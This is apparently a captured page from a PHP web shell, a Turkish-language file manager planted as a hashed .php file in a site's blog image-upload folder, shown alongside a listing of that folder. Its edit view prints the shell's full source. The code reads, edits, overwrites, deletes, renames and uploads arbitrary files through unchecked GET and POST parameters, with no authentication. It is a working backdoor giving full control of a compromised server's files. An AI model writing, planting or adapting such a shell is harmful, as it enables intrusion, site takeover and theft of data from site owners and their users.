Current root:
/home/u7250764/mosaicedu.com/panel/uploads/blog
Current path:
/home/u7250764/mosaicedu.com/panel/uploads/blog
⬆️ Üst Dizin
23016df59d92236d1708264ed18a9f4a.png
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
5f2e1b97db79ba32df6683f47f771dbd.png
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
602b7007043a142f4cc8b177df97a3b5.jpg
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
7aacb6f1df0cb22cd59b66b8e5a85919.jpg
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
9d6b28e54fdba5fcb87204c7484b573b.jpg
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
a0301283803c95dc7ec07feb1cfbf248.png
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
bd5013021dc6d68a8f92973a88d6054c.jpg
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
cfba09a85cd54ab0b28917f2898c5ddb.jpg
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
dcbdfc82bf8992c94dab9938974083a6.jpg
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
doc
e07cc7758486c227ffb690c1e6d8e707.jpeg
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
edace72dfa0b878a871479b7c45b71de.php
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
ee98682f5fc4b2b282505c4fd22100d3.png
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
error_log
|
👁️ Göster
|
✏️ Düzenle
|
🔤 Yeniden Adlandır
🗑️ Sil
Dosya Düzenle: edace72dfa0b878a871479b7c45b71de.php
<?php $root = __DIR__; $style1 = 'color:#cbd5f5;'; $style2 = 'color:#38bdf8;font-weight:bold;'; function updir($ADir){ $ADir = rtrim($ADir, '/'); return substr($ADir, 0, strrpos($ADir, '/')); } $path = isset($_GET['file']) ? $_GET['file'] : $root; echo ' <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>File Manager</title> <style> body { background: #0f172a; color: #e2e8f0; font-family: "Segoe UI", Arial, sans-serif; font-size: 18px; margin: 0; padding: 20px; } a { text-decoration: none; color: #38bdf8; transition: 0.2s; } a:hover { color: #facc15; } b { color: #f8fafc; font-size: 20px; } hr { border: none; border-top: 1px solid #334155; margin: 20px 0; } textarea { background: #020617; color: #e2e8f0; border: 1px solid #334155; padding: 10px; font-size: 16px; border-radius: 8px; } input[type="file"] { background: #1e293b; color: #e2e8f0; padding: 8px; border-radius: 6px; border: none; } button { background: linear-gradient(135deg, #2563eb, #7c3aed); color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 16px; transition: 0.2s; } button:hover { transform: scale(1.05); background: linear-gradient(135deg, #3b82f6, #8b5cf6); } h3 { font-size: 22px; color: #f1f5f9; } .container { max-width: 900px; margin: auto; background: #020617; padding: 20px; border-radius: 12px; box-shadow: 0 0 20px rgba(0,0,0,0.6); } .file-item { padding: 8px; border-bottom: 1px solid #1e293b; } .file-item:hover { background: #1e293b; } </style> </head> <body> <div class="container"> '; if (isset($_GET['view']) && is_file($_GET['view'])) { header("Content-type: text/plain"); readfile($_GET['view']); exit; } if (isset($_POST['save_file']) && isset($_POST['content'])) { file_put_contents($_POST['save_file'], $_POST['content']); echo "<b>Dosya kaydedildi.</b><br><br>"; } if (isset($_POST['delete_file']) && is_file($_POST['delete_file'])) { unlink($_POST['delete_file']); echo "<b>Dosya silindi:</b> " . basename($_POST['delete_file']) . "<br><br>"; } if (isset($_POST['rename_file']) && isset($_POST['new_name']) && is_file($_POST['rename_file'])) { $oldPath = $_POST['rename_file']; $newPath = dirname($oldPath) . '/' . basename($_POST['new_name']); if (rename($oldPath, $newPath)) { echo "<b>Dosya adı değiştirildi:</b> " . basename($oldPath) . " → " . basename($newPath) . "<br><br>"; } else { echo "<b>Yeniden adlandırma hatası!</b><br><br>"; } } if (isset($_FILES['upload_file'])) { $target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) { echo "<b>Dosya yüklendi:</b> " . basename($target) . "<br><br>"; } else { echo "<b>Yükleme hatası!</b><br><br>"; } } echo "<b>Current root:</b> $root <br>"; echo "<b>Current path:</b> $path <hr>"; echo '<a href="?file='.updir($path).'">⬆️ Üst Dizin</a><br /><br>'; foreach (glob(rtrim($path,'/').'/*') as $file) { echo '<div class="file-item">'; echo '<a style="'.(is_file($file)?$style1:$style2).'" href="?file='.$file.'">'.basename($file).'</a>'; if (is_file($file)) { echo ' | <a href="?view='.$file.'" target="_blank">👁️ Göster</a>'; echo ' | <a href="?edit='.$file.'">✏️ Düzenle</a>'; echo ' | <a href="?rename='.$file.'">🔤 Yeniden Adlandır</a>'; echo ' <form method="POST" style="display:inline;" onsubmit="return confirm(\'Bu dosyayı silmek istediğinize emin misiniz?\')"> <input type="hidden" name="delete_file" value="'.$file.'"> <button type="submit" style="background:linear-gradient(135deg,#dc2626,#991b1b);padding:4px 10px;font-size:14px;">🗑️ Sil</button> </form>'; } echo "</div>"; } echo "<hr>"; if (isset($_GET['rename']) && is_file($_GET['rename'])) { $renameFile = $_GET['rename']; echo "<h3>Yeniden Adlandır: ".basename($renameFile)."</h3>"; echo ' <form method="POST"> <input type="hidden" name="rename_file" value="'.$renameFile.'"> <input type="text" name="new_name" value="'.basename($renameFile).'" style="background:#020617;color:#e2e8f0;border:1px solid #334155;padding:8px;border-radius:6px;font-size:16px;width:300px;"> <button type="submit">Kaydet</button> </form> <hr> '; } if (isset($_GET['edit']) && is_file($_GET['edit'])) { $editFile = $_GET['edit']; $content = htmlspecialchars(file_get_contents($editFile)); echo "<h3>Dosya Düzenle: ".basename($editFile)."</h3>"; echo ' <form method="POST"> <textarea name="content" style="width:100%;height:300px;">'.$content.'</textarea><br><br> <input type="hidden" name="save_file" value="'.$editFile.'"> <button type="submit">Kaydet</button> </form> <hr> '; } echo '<h3>Dosya Yükle</h3> <form method="POST" enctype="multipart/form-data"> <input type="file" name="upload_file"> <button type="submit">Yükle</button> </form>'; // -------- HTML BİTİŞ -------- echo '</div></body></html>'; ?>
Kaydet
Dosya Yükle
Yükle